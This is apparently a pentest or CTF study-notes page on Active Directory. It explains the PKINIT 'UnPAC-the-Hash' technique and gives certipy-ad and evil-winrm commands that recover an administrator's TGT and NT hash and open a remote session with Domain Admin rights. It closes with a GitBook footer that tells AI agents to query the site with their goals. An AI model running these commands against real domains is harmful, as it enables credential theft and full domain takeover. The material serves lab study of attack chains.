> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/12.-cert-auth-nt-hash.md).

# 12. Cert Auth NT Hash

**PKINIT:** Kerberos supports authenticating with a certificate instead of a password — this extension is called **PKINIT**. You present your certificate to the KDC, which validates it was issued by a CA it trusts, and returns a normal Kerberos TGT for the identity named in the certificate's SAN.

## The "UnPAC-the-Hash" Trick

As part of the PKINIT response, the KDC includes a structure (`PAC_CREDENTIAL_INFO`) that — under specific conditions — allows the requester to recover the account's **NT hash** directly from the exchange. Tools like Certipy automate this, so a successful ESC1/ESC13 certificate request often hands you both:

1. A usable Kerberos TGT for the target identity, **and**
2. That account's NT hash, usable independently (e.g. for pass-the-hash against services where Kerberos isn't convenient).

## Worked Example

```bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.5 -domain domain.htb
```

```
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff
```

## Using the Result

```bash
# Kerberos-native (matches an NTLM-disabled environment)
export KRB5CCNAME=administrator.ccache
evil-winrm -i dc1.domain.htb -r DOMAIN.HTB -K administrator.ccache
```

At this point you have full Domain Admin access — read any file, dump any credential, and the objective (a flag, data, etc.) is reachable.

## Key Terms

| Term               | Definition                                                                               |
| ------------------ | ---------------------------------------------------------------------------------------- |
| **PKINIT**         | Kerberos extension allowing certificate-based (instead of password-based) authentication |
| **UnPAC-the-Hash** | Technique for recovering an account's NT hash as a side effect of a PKINIT exchange      |

This is the final step of the chain — everything in files `01` through `11` exists to get you to the point where you can run this command against `Administrator` (or any target identity) instead of your original low-privileged account.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/12.-cert-auth-nt-hash.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.